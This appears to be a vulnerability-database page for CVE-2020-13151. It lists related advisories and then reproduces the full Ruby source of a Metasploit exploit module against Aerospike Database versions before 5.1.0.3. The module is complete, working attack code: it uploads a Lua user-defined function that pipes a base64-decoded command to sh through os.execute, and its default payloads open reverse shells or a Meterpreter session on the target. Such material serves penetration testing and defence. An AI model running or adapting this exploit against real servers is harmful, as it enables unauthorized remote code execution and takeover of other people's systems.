| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Aerospike Aerospike_Server | 1 Aug 202014:29 | – | githubexploit | |
| Aerospike Database 5.1.0.3 - OS Command Execution Exploit | 17 Nov 202000:00 | – | zdt | |
| Aerospike Database UDF Lua Code Execution Exploit | 11 Dec 202000:00 | – | zdt | |
| Security Bulletin: Vulnerabilities exists in IBM Netezza Analytics - NPS | 11 Jul 202511:19 | – | ibm | |
| CVE-2020-13151 | 5 Aug 202016:55 | – | circl | |
| Aerospike Operating System Command Injection Vulnerability | 6 Aug 202000:00 | – | cnvd | |
| Aerospike Community Remote Code Execution (CVE-2020-13151) | 16 Dec 202000:00 | – | checkpoint_advisories | |
| CVE-2020-13151 | 5 Aug 202012:36 | – | cve | |
| CVE-2020-13151 | 5 Aug 202012:36 | – | cvelist | |
| Aerospike Database 5.1.0.3 - OS Command Execution | 17 Nov 202000:00 | – | exploitdb |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Aerospike Database UDF Lua Code Execution',
'Description' => %q{
Aerospike Database versions before 5.1.0.3 permitted
user-defined functions (UDF) to call the `os.execute`
Lua function.
This module creates a UDF utilising this function to
execute arbitrary operating system commands with the
privileges of the user running the Aerospike service.
This module does not support authentication; however
Aerospike Database Community Edition does not enable
authentication by default.
This module has been tested successfully on Ubuntu
with Aerospike Database Community Edition versions
4.9.0.5, 4.9.0.11 and 5.0.0.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'b4ny4n', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['EDB', '49067'],
['CVE', '2020-13151'],
['PACKETSTORM', '160106'],
['URL', 'https://www.aerospike.com/enterprise/download/server/notes.html#5.1.0.3'],
['URL', 'https://github.com/b4ny4n/CVE-2020-13151'],
['URL', 'https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html'],
['URL', 'https://www.aerospike.com/docs/operations/manage/udfs/'],
],
'Platform' => %w[linux unix],
'Targets' =>
[
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_command
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
],
'Privileged' => false,
'DisclosureDate' => '2020-07-31',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
},
'DefaultTarget' => 0
)
)
register_options(
[
Opt::RPORT(3000)
]
)
register_advanced_options(
[
OptString.new('UDF_DIRECTORY', [true, 'Directory where Lua UDF files are stored', '/opt/aerospike/usr/udf/lua/'])
]
)
end
def build
header = ['02010000'].pack('H*')
data = "build\x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end
def remove_udf(name)
header = ['02010000'].pack('H*')
data = "udf-remove:filename=#{name};\x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end
def list_udf
header = ['02010000'].pack('H*')
data = "udf-list\x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end
def upload_udf(name, data, type = 'LUA')
header = ['02010000'].pack('H*')
content = Rex::Text.encode_base64(data)
data = "udf-put:filename=#{name};content=#{content};content-len=#{content.length};udf-type=#{type};\x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end
def features
header = ['02010000'].pack('H*')
data = "features\x0a"
len = [data.length].pack('N')
sock.put(header + len + data)
sock.get_once
end
def execute_command(cmd, _opts = {})
fname = "#{rand_text_alpha(12..16)}.lua"
print_status("Creating UDF '#{fname}' ...")
# NOTE: we manually remove the lua file as unregistering the UDF
# does not remove the lua file from disk.
cmd_exec = Rex::Text.encode_base64("rm '#{datastore['UDF_DIRECTORY']}/#{fname}'; #{cmd}")
# NOTE: this jank to execute the payload in the background is required as
# sometimes the payload is executed twice (before the UDF is unregistered).
#
# Executing the payload in the foreground causes the thread to block while
# the second payload tries and fails to connect back.
#
# This would cause the subsequent call to unregister the UDF to fail,
# permanently backdooring the system (that's bad).
res = upload_udf(fname, %{os.execute("echo #{cmd_exec}|base64 -d|sh&")})
return unless res.to_s.include?('error')
if /error=(?<error>.+?);.*message=(?<message>.+?)$/ =~ res
print_error("UDF registration failed: #{error}: #{Rex::Text.decode_base64(message)}")
else
print_error('UDF registration failed')
end
ensure
# NOTE: unregistering the UDF is super important as leaving the UDF
# registered causes the payload to be executed repeatedly, effectively
# permanently backdooring the system (that's bad).
if remove_udf(fname).to_s.include?('ok')
vprint_status("UDF '#{fname}' removed successfully")
else
print_warning("UDF '#{fname}' could not be removed")
end
end
def check
connect
res = build
unless res
return CheckCode::Unknown('Connection failed')
end
version = res.to_s.scan(/build\s*([\d.]+)/).flatten.first
unless version
return CheckCode::Safe('Target is not Aerospike Database')
end
vprint_status("Aerospike Database version #{version}")
if Gem::Version.new(version) >= Gem::Version.new('5.1.0.3')
return CheckCode::Safe('Version is not vulnerable')
end
unless features.to_s.include?('udf')
return CheckCode::Safe('User defined functions are not supported')
end
CheckCode::Appears
end
def exploit
# NOTE: maximum packet size is 65,535 bytes and we lose some space to
# packet overhead, command stager overhead, and double base64 encoding.
max_size = 35_000 # 35,000 bytes double base64 encoded is 63,874 bytes.
if payload.encoded.length > max_size
fail_with(Failure::BadConfig, "Payload size (#{payload.encoded.length} bytes) is large than maximum permitted size (#{max_size} bytes)")
end
print_status("Sending payload (#{payload.encoded.length} bytes) ...")
case target['Type']
when :unix_command
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: max_size, background: true)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation